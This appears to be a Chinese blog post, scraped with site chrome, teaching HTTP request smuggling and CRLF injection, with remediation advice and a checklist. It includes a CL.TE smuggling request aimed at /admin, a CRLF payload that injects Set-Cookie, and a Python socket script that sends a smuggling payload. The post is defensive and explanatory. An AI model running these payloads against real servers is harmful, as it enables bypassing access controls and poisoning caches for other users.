news 2026/10/22 2:20:24

HTTP协议安全入门:从请求走私到CRLF

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
HTTP协议安全入门:从请求走私到CRLF

一个让我加了两天班的“小问题”

上个月排查一个线上问题,前端网关日志显示请求正常,后端服务却返回了不该返回的数据。查了两天,最后发现是一个被中间代理“吞掉”的请求边界问题——说白了,就是请求走私的变种。 这件事之后我把HTTP解析这块重新撸了一遍。开发天天用HTTP,但真停下来想过“一个请求到底怎么被解析”的人,不多。这篇文章就把请求走私和CRLF注入这两个东西讲清楚,能让大家能少加几个班。

一、HTTP请求的结构:别再只盯着请求行了

一个HTTP/1.1请求就三块:

<span style="background-color:#f6f8fa"><code>POST /login HTTP/1.1 ← 请求行 Host: example.com ← 头部 Content-Length: 27 Content-Type: application/x-www-form-urlencoded username=admin&password=123 ← 正文 </code></span>

平时大家看请求,注意力都在请求行和那几个业务头部上。但真正决定安全边界的,是头部和正文之间那个空行,以及Content-Length或Transfer-Encoding这两个头部。 服务端靠它们判断“这个请求到哪结束”。不同组件如果判断不一致,麻烦就来了。

二、服务端怎么解析HTTP:CL和TE的暗战

HTTP/1.1给了两套描述请求体边界的机制。Content-Length(CL):明说正文多少字节。

<span style="background-color:#f6f8fa"><code>Content-Length: 13 Hello, World! </code></span>

Transfer-Encoding: chunked(TE):分块传,每块前面标长度,0\r\n\r\n收尾。

<span style="background-color:#f6f8fa"><code>Transfer-Encoding: chunked d\r\n Hello, World!\r\n 0\r\n \r\n </code></span>

RFC 9112写得很清楚:两个同时出现,TE优先,CL必须被忽略。但现实是,不是每个代理、每个网关、每个后端框架都严格照做。 我排查那次问题,就是前端认CL、后端认TE,两边各读各的,中间夹带的请求就这么溜进去了。

三、请求走私原理:前后端各说各话

请求走私(HTTP Request Smuggling)的本质一句话:前端和后端对同一个请求的边界判断不一致,攻击者把“隐藏请求”夹带进去,让后端把它当成下一个请求。 两种经典模式:CL.TE:前端认CL,后端认TE。

<span style="background-color:#f6f8fa"><code>POST / HTTP/1.1 Host: target.com Content-Length: 44 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Ignore: x </code></span>

前端按CL读完44字节放行,后端看到TE,在0\r\n\r\n处认为请求结束。后面的GET /admin被后端当成下一个请求。连接一复用,这个走私的GET就会拼到下一个正常用户请求前面,绕过前端鉴权、污染缓存、劫持请求,都可能。TE.CL:反过来,前端认TE,后端认CL。攻击者构造一个前端认为没结束、后端认为已结束的请求,同样达到夹带目的。 OWASP的测试指南还提了一个场景:HTTP/2降级到HTTP/1.1时,要从二进制帧重构请求,边界判断不一致的风险会进一步放大。这个坑我在做网关升级时踩过,值得留意。

四、CRLF注入:一个换行符能改响应

CRLF是回车(\r,%0d)加换行(\n,%0a)。在HTTP里,CRLF就是头部行的分隔符。如果应用把用户输入直接拼进响应头,攻击者就能用CRLF提前结束当前头部,插自己的头部,甚至塞第二个响应。 典型场景是重定向参数:

<span style="background-color:#f6f8fa"><code>GET /redirect?url=https://example.com%0d%0aSet-Cookie:session=attacker </code></span>

服务端不过滤的话,响应头会变成:

<span style="background-color:#f6f8fa"><code>HTTP/1.1 302 Found Location: https://example.com Set-Cookie: session=attacker </code></span>

任意Cookie就这么种上了。再狠一点,注入Content-Length: 0\r\n\r\nHTTP/1.1 200 OK\r\n...,构造HTTP响应分裂,让缓存服务器把一个响应当两个缓存,实现缓存投毒或XSS。 CRLF注入和请求走私是近亲:一个利用对请求边界的分歧,一个利用对头部边界的信任。Twitter 2015年就因为UTF-8编码绕过CRLF过滤吃过一次亏,漏洞赏金$3500。

五、复现:用Python socket发一个走私请求

requests库不好精确控制字节,直接上socket。

<span style="background-color:#f6f8fa"><code><span style="color:#d73a49">import</span> socket <span style="color:#d73a49">def</span> <span style="color:#6f42c1">smuggle_cl_te</span>(host, port): <span style="color:#6a737d"># CL.TE 走私 payload</span> body = <span style="color:#032f62">"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"</span> request = ( <span style="color:#032f62">"POST / HTTP/1.1\r\n"</span> <span style="color:#032f62">f"Host: <span style="color:#24292e">{host}</span>\r\n"</span> <span style="color:#032f62">f"Content-Length: <span style="color:#24292e">{<span style="color:#e36209">len</span>(body)}</span>\r\n"</span> <span style="color:#032f62">"Transfer-Encoding: chunked\r\n"</span> <span style="color:#032f62">"\r\n"</span> <span style="color:#032f62">f"<span style="color:#24292e">{body}</span>"</span> ) s = socket.create_connection((host, port)) s.sendall(request.encode()) response = <span style="color:#032f62">b""</span> <span style="color:#d73a49">while</span> <span style="color:#005cc5">True</span>: chunk = s.recv(<span style="color:#005cc5">4096</span>) <span style="color:#d73a49">if</span> <span style="color:#d73a49">not</span> chunk: <span style="color:#d73a49">break</span> response += chunk s.close() <span style="color:#e36209">print</span>(response.decode(errors=<span style="color:#032f62">"ignore"</span>)) <span style="color:#6a737d"># 仅在授权测试环境中使用</span> <span style="color:#6a737d"># smuggle_cl_te("target.com", 80)</span> </code></span>

注意:这段代码只在你自己的靶场或拿到明确授权的环境里跑。请求走私可能影响同一连接上的其他用户,未授权测试是违法的。

六、防御:统一解析,拒绝歧义

根源都是“解析不一致”,防御核心就一条:让链路上所有组件用同一套规则。请求走私:

  • 前端后端用相同的HTTP解析库或引擎,避免CL/TE判断分歧
  • 直接拒绝同时带Content-Length和Transfer-Encoding的请求,别尝试“智能处理”
  • 拒绝多个Content-Length头
  • 有条件就端到端上HTTP/2,二进制帧天然没CL/TE歧义
  • Nginx等代理层配严格的请求缓冲和头部规范化CRLF注入:
  • 永远不要把用户输入直接拼进响应头,Location、Set-Cookie尤其危险
  • 必须用时,先移除或编码\r和\n,注意不止字面量,%0d%0a等编码形式也要覆盖
  • 用现代框架的响应头API,一般会自动转义,别手拼字符串

七、检查思路

这里是我琢磨的一个检查的单子,有漏掉的欢迎大家来补充

检查项说明
代理和后端的HTTP解析器是否一致?不一致就是走私的温床
是否拒绝同时带CL和TE的请求?不要“猜”,直接拒
是否拒绝多个CL头?一个请求只能有一个CL
用户输入是否进入了响应头?Location、Set-Cookie、自定义头都要查
是否对CR/LF做了过滤或编码?包括%0d%0a、UTF-8编码绕过
是否启用了HTTP/2端到端?有条件就上,天然防走私
是否在CI/CD中跑了协议层安全测试?配置漂移是常见诱因

总结

那次加班的教训是:HTTP安全问题往往不在业务代码里,而在链路的“缝隙”里。请求走私和CRLF注入都不是什么高深漏洞,但一旦线上环境出现解析不一致,排查成本极高。 花半天把链路各层的HTTP解析行为对齐一遍,比出事之后花两天定位划算得多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 2:17:53

品牌战略咨询公司怎么收费该怎么选?价格区间与交付内容一次说清

品牌战略咨询公司怎么收费、怎么选&#xff1f;四个价格区间与交付内容品牌战略咨询的收费&#xff0c;一直是企业在选择阶段最先问、也最难问清的问题。公开渠道上能查到的报价区间跨度很大&#xff0c;从每年几百万到每年数千万都有。差异来自服务范围、团队配置、项目周期与…

作者头像 李华
网站建设 2026/10/22 2:17:41

FDE模式深度解析:从Palantir到AI,小白程序员必备收藏帖!

本文深入剖析了FDE&#xff08;前沿部署工程&#xff09;模式的历史渊源、核心特征及其在AI时代的变革。从Palantir的案例出发&#xff0c;阐述了FDE如何通过嵌入式现场解决实际问题&#xff0c;并反哺平台。同时&#xff0c;文章揭示了当前FDE市场的真实状况&#xff0c;包括薪…

作者头像 李华
网站建设 2026/10/22 2:16:56

Redis 的原理和使用(6)

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/22 2:16:21

YOLO在低功耗蓝牙设备上的推理:MCU级部署的技术边界在哪里?

一、先把边界画清楚:BLE设备上跑YOLO,到底在跑什么? 低功耗蓝牙设备的核心约束从来不是“有没有算力”,而是每一毫焦耳能量都要对应一次可用的推理结果。一颗典型的BLE SoC,RAM 在 256KB—512KB 量级,Flash 在 1MB—2MB 量级,持续推理功耗预算通常在毫瓦级。YOLO 的原始…

作者头像 李华
网站建设 2026/10/22 2:13:31

认识元器件 · 贴片电容 MLCC · 规格书解读3

规格书16到19页 Fig.6 电容值随温度变化的关系&#xff0c;这个也解释了之前的疑惑&#xff0c;为什么见到很多电容都是-20%到80%的疑惑&#xff0c;电容值在室温的时候测试的&#xff0c;温度范围不是对称的。 为什么是 -55℃ ~ 125℃&#xff1f; 这个范围不是随便定的&…

作者头像 李华
网站建设 2026/10/22 2:12:13

信息安全工程师 - 第二十章 数据库系统安全

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华